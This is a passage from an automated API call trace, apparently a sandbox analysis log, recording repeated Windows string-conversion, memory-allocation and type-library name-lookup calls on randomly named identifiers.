0x4 [0019.300] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.300] IUnknown:Release (This=0x7919520) returned 0x12 [0019.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b846, cbMultiByte=10, lpWideCharStr=0xd691c4c, cchWideChar=22 | out: lpWideCharStr="LkiZOWEJVL") returned 10 [0019.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b85a, cbMultiByte=10, lpWideCharStr=0xd691df6, cchWideChar=22 | out: lpWideCharStr="iGSKdGjVTP") returned 10 [0019.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b86e, cbMultiByte=10, lpWideCharStr=0xd691fa0, cchWideChar=22 | out: lpWideCharStr="laJdRcptos") returned 10 [0019.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b882, cbMultiByte=10, lpWideCharStr=0xd69214a, cchWideChar=22 | out: lpWideCharStr="JwrAGsUnXO") returned 10 [0019.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b896, cbMultiByte=10, lpWideCharStr=0xd6922f4, cchWideChar=22 | out: lpWideCharStr="VQcDbrBRaJ") returned 10 [0019.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b8aa, cbMultiByte=10, lpWideCharStr=0xd69249e, cchWideChar=22 | out: lpWideCharStr="OFKqfkbEIm") returned 10 [0019.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b8be, cbMultiByte=10, lpWideCharStr=0xd692648, cchWideChar=22 | out: lpWideCharStr="hKUcCkOREk") returned 10 [0019.301] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd6a0000 [0019.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="oLJXBlMGAz") returned 0x10c1b7 [0019.302] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="oLJXBlMGAz" | out: _Dst="oLJXBlMGAz") returned 0x0 [0019.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="oLJXBlMGAz") returned 11 [0019.302] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.302] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="oLJXBlMGAz", lHashVal=0x10c1b7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.302] IUnknown:Release (This=0x7919520) returned 0x12 [0019.302] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.302] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="oLJXBlMGAz", lHashVal=0x10c1b7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.302] IUnknown:Release (This=0x7346470) returned 0xb [0019.302] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.302] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="oLJXBlMGAz", lHashVal=0x10c1b7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.302] IUnknown:Release (This=0x7345930) returned 0x7 [0019.302] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.302] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="oLJXBlMGAz", lHashVal=0x10c1b7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.302] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.302] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.302] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_oLJXBlMGAz", lHashVal=0x102fe2, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.302] IUnknown:Release (This=0x7919520) returned 0x12 [0019.302] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.302] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_oLJXBlMGAz", lHashVal=0x102fe2, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.303] IUnknown:Release (This=0x7346470) returned 0xb [0019.303] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.303] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_oLJXBlMGAz", lHashVal=0x102fe2, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.303] IUnknown:Release (This=0x7345930) returned 0x7 [0019.303] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.303] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_oLJXBlMGAz", lHashVal=0x102fe2, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.303] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.303] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.303] IUnknown:Release (This=0x7919520) returned 0x12 [0019.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b8f6, cbMultiByte=10, lpWideCharStr=0xd6a0f06, cchWideChar=22 | out: lpWideCharStr="BtjNkoRqjX") returned 10 [0019.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b90a, cbMultiByte=10, lpWideCharStr=0xd6a10b0, cchWideChar=22 | out: lpWideCharStr="wOhmCPKmAX") returned 10 [0019.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b91e, cbMultiByte=10, lpWideCharStr=0xd6a125a, cchWideChar=22 | out: lpWideCharStr="ITqwPSzCQk") returned 10 [0019.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b932, cbMultiByte=10, lpWideCharStr=0xd6a1404, cchWideChar=22 | out: lpWideCharStr="ChFGJDwqZu") returned 10 [0019.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b946, cbMultiByte=10, lpWideCharStr=0xd6a15ae, cchWideChar=22 | out: lpWideCharStr="iXNAZEZOAi") returned 10 [0019.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b95a, cbMultiByte=10, lpWideCharStr=0xd6a1758, cchWideChar=22 | out: lpWideCharStr="DBcAsiCkzS") returned 10 [0019.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b96e, cbMultiByte=10, lpWideCharStr=0xd6a1902, cchWideChar=22 | out: lpWideCharStr="rOazURJacw") returned 10 [0019.304] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WvYOUAjNM") returned 0x10de30 [0019.304] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="WvYOUAjNM" | out: _Dst="WvYOUAjNM") returned 0x0 [0019.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="WvYOUAjNM") returned 10 [0019.304] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.304] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="WvYOUAjNM", lHashVal=0x10de30, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.304] IUnknown:Release (This=0x7919520) returned 0x12 [0019.304] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.304] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="WvYOUAjNM", lHashVal=0x10de30, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.304] IUnknown:Release (This=0x7346470) returned 0xb [0019.304] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.304] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="WvYOUAjNM", lHashVal=0x10de30, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.304] IUnknown:Release (This=0x7345930) returned 0x7 [0019.304] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.304] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="WvYOUAjNM", lHashVal=0x10de30, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.304] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.304] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0019.304] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_WvYOUAjNM", lHashVal=0x10e775, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.304] IUnknown:Release (This=0x7919520) returned 0x12 [0019.304] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.304] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_WvYOUAjNM", lHashVal=0x10e775, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.304] IUnknown:Release (This=0x7346470) returned 0xb [0019.304] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.304] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_WvYOUAjNM", lHashVal=0x10e775, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.304] IUnknown:Release (This=0x7345930) returned 0x7 [0019.304] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.304] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_WvYOUAjNM", lHashVal=0x10e775, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.304] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.304] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.304] IUnknown:Release (This=0x7919520) returned 0x12 [0019.305] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd6b0000 [0019.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b9a6, cbMultiByte=10, lpWideCharStr=0xd6b01e4, cchWideChar=22 | out: lpWideCharStr="IlRfSjCsXd") returned 10 [0019.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b9ba, cbMultiByte=10, lpWideCharStr=0xd6b038e, cchWideChar=22 | out: lpWideCharStr="MLRUHcGFBJ") returned 10 [0019.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b9ce, cbMultiByte=10, lpWideCharStr=0xd6b0538, cchWideChar=22 | out: lpWideCharStr="AUVJYhwzVX") returned 10 [0019.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b9e2, cbMultiByte=10, lpWideCharStr=0xd6b06e2, cchWideChar=22 | out: lpWideCharStr="JMzOoaRRoQ") returned 10 [0019.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b9f6, cbMultiByte=10, lpWideCharStr=0xd6b088c, cchWideChar=22 | out: lpWideCharStr="lKjFirpaFT") returned 10 [0019.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6ba0a, cbMultiByte=10, lpWideCharStr=0xd6b0a36, cchWideChar=22 | out: lpWideCharStr="ljitJoQIHk") returned 10 [0019.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6ba1e, cbMultiByte=10, lpWideCharStr=0xd6b0be0, cchWideChar=22 | out: lpWideCharStr="mEXzUANDjj") returned 10 [0019.306] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="vPJVwQLnXbX") returned 0x1053a1 [0019.306] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="vPJVwQLnXbX" | out: _Dst="vPJVwQLnXbX") returned 0x0 [0019.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="vPJVwQLnXbX") returned 12 [0019.307] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.307] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="vPJVwQLnXbX", lHashVal=0x1053a1, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.307] IUnknown:Release (This=0x7919520) returned 0x12 [0019.307] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.307] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="vPJVwQLnXbX", lHashVal=0x1053a1, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.307] IUnknown:Release (This=0x7346470) returned 0xb [0019.307] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.307] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="vPJVwQLnXbX", lHashVal=0x1053a1, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.307] IUnknown:Release (This=0x7345930) returned 0x7 [0019.307] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.307] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="vPJVwQLnXbX", lHashVal=0x1053a1, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.307] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.307] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0019.307] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_vPJVwQLnXbX", lHashVal=0x103582, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.307] IUnknown:Release (This=0x7919520) returned 0x12 [0019.307] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.307] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_vPJVwQLnXbX", lHashVal=0x103582, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.307] IUnknown:Release (This=0x7346470) returned 0xb [0019.307] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.307] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_vPJVwQLnXbX", lHashVal=0x103582, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.307] IUnknown:Release (This=0x7345930) returned 0x7 [0019.307] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.307] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_vPJVwQLnXbX", lHashVal=0x103582, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.307] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.307] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.307] IUnknown:Release (This=0x7919520) returned 0x12 [0019.307] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wdkSzkswAd") returned 0x10de5c [0019.307] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="wdkSzkswAd" | out: _Dst="wdkSzkswAd") returned 0x0 [0019.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="wdkSzkswAd") returned 11 [0019.307] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.307] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="wdkSzkswAd", lHashVal=0x10de5c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.307] IUnknown:Release (This=0x7919520) returned 0x12 [0019.307] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.307] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="wdkSzkswAd", lHashVal=0x10de5c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.307] IUnknown:Release (This=0x7346470) returned 0xb [0019.307] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.308] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="wdkSzkswAd", lHashVal=0x10de5c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.308] IUnknown:Release (This=0x7345930) returned 0x7 [0019.308] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.308] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="wdkSzkswAd", lHashVal=0x10de5c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.308] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.308] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.308] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_wdkSzkswAd", lHashVal=0x104c87, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.308] IUnknown:Release (This=0x7919520) returned 0x12 [0019.308] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.308] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_wdkSzkswAd", lHashVal=0x104c87, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.308] IUnknown:Release (This=0x7346470) returned 0xb [0019.308] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.308] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_wdkSzkswAd", lHashVal=0x104c87, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.308] IUnknown:Release (This=0x7345930) returned 0x7 [0019.308] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.308] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_wdkSzkswAd", lHashVal=0x104c87, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.308] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.308] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.308] IUnknown:Release (This=0x7919520) returned 0x12 [0019.308] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd6c0000 [0019.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6ba8e, cbMultiByte=10, lpWideCharStr=0xd6c0214, cchWideChar=22 | out: lpWideCharStr="tiClhBFFOb") returned 10 [0019.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6baa2, cbMultiByte=10, lpWideCharStr=0xd6c03be, cchWideChar=22 | out: lpWideCharStr="ANtHDQwNfH") returned 10 [0019.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bab6, cbMultiByte=10, lpWideCharStr=0xd6c0568, cchWideChar=22 | out: lpWideCharStr="vwlBNjpVIH") returned 10 [0019.310] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6baca, cbMultiByte=10, lpWideCharStr=0xd6c0712, cchWideChar=22 | out: lpWideCharStr="bMKmYIMpST") returned 10 [0019.310] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bade, cbMultiByte=10, lpWideCharStr=0xd6c08bc, cchWideChar=22 | out: lpWideCharStr="MDMBwDaEDc") returned 10 [0019.310] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6baf2, cbMultiByte=10, lpWideCharStr=0xd6c0a66, cchWideChar=22 | out: lpWideCharStr="osKRPvwAXz") returned 10 [0019.310] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bb06, cbMultiByte=10, lpWideCharStr=0xd6c0c10, cchWideChar=22 | out: lpWideCharStr="LjzHzoDGju") returned 10 [0019.310] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="QiQFvXzpbOL") returned 0x10c835 [0019.310] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="QiQFvXzpbOL" | out: _Dst="QiQFvXzpbOL") returned 0x0 [0019.310] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="QiQFvXzpbOL") returned 12 [0019.310] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.310] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="QiQFvXzpbOL", lHashVal=0x10c835, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.310] IUnknown:Release (This=0x7919520) returned 0x12 [0019.310] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.310] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="QiQFvXzpbOL", lHashVal=0x10c835, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.310] IUnknown:Release (This=0x7346470) returned 0xb [0019.310] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.310] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="QiQFvXzpbOL", lHashVal=0x10c835, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.310] IUnknown:Release (This=0x7345930) returned 0x7 [0019.310] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.310] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="QiQFvXzpbOL", lHashVal=0x10c835, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.310] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.310] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0019.310] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_QiQFvXzpbOL", lHashVal=0x10b997, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.311] IUnknown:Release (This=0x7919520) returned 0x12 [0019.311] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.311] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_QiQFvXzpbOL", lHashVal=0x10b997, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.311] IUnknown:Release (This=0x7346470) returned 0xb [0019.311] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.311] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_QiQFvXzpbOL", lHashVal=0x10b997, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.311] IUnknown:Release (This=0x7345930) returned 0x7 [0019.311] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.311] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_QiQFvXzpbOL", lHashVal=0x10b997, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.311] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.311] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.311] IUnknown:Release (This=0x7919520) returned 0x12 [0019.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bb3e, cbMultiByte=10, lpWideCharStr=0xd6c34cc, cchWideChar=22 | out: lpWideCharStr="sWsCmcdEEA") returned 10 [0019.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bb52, cbMultiByte=10, lpWideCharStr=0xd6c3676, cchWideChar=22 | out: lpWideCharStr="KJJEdjnkli") returned 10 [0019.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bb66, cbMultiByte=10, lpWideCharStr=0xd6c3820, cchWideChar=22 | out: lpWideCharStr="iluYIvQzVT") returned 10 [0019.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bb7a, cbMultiByte=10, lpWideCharStr=0xd6c39ca, cchWideChar=22 | out: lpWideCharStr="DAhasQMUMs") returned 10 [0019.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bb8e, cbMultiByte=10, lpWideCharStr=0xd6c3b74, cchWideChar=22 | out: lpWideCharStr="WJwjVBfLHr") returned 10 [0019.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bba2, cbMultiByte=10, lpWideCharStr=0xd6c3d1e, cchWideChar=22 | out: lpWideCharStr="CAitCGbUur") returned 10 [0019.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6bbb6, cbMultiByte=10, lpWideCharStr=0xd6c3ec8, cchWideChar=22 | out: lpWideCharStr="LfjlwKcjMN") returned 10 [0019.312] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd6d0000 [0019.313] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="oimznbOZh") returned 0x10cd4e [0019.313] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="oimznbOZh" | out: _Dst="oimznbOZh") returned 0x0 [0019.313] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="oimznbOZh") returned 10 [0019.313] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.313] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="oimznbOZh", lHashVal=0x10cd4e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.313] IUnknown:Release (This=0x7919520) returned 0x12 [0019.313] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.313] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="oimznbOZh", lHashVal=0x10cd4e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.313] IUnknown:Release (This=0x7346470) returned 0xb [0019.313] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.313] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="oimznbOZh", lHashVal=0x10cd4e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.313] IUnknown:Release (This=0x7345930) returned 0x7 [0019.313] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.313] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="oimznbOZh", lHashVal=0x10cd4e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.313] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.313] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0019.313] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_oimznbOZh", lHashVal=0x10c712, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.313] IUnknown:Release (This=0x7919520) returned 0x12 [0019.313] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.313] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_oimznbOZh", lHashVal=0x10c712, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, 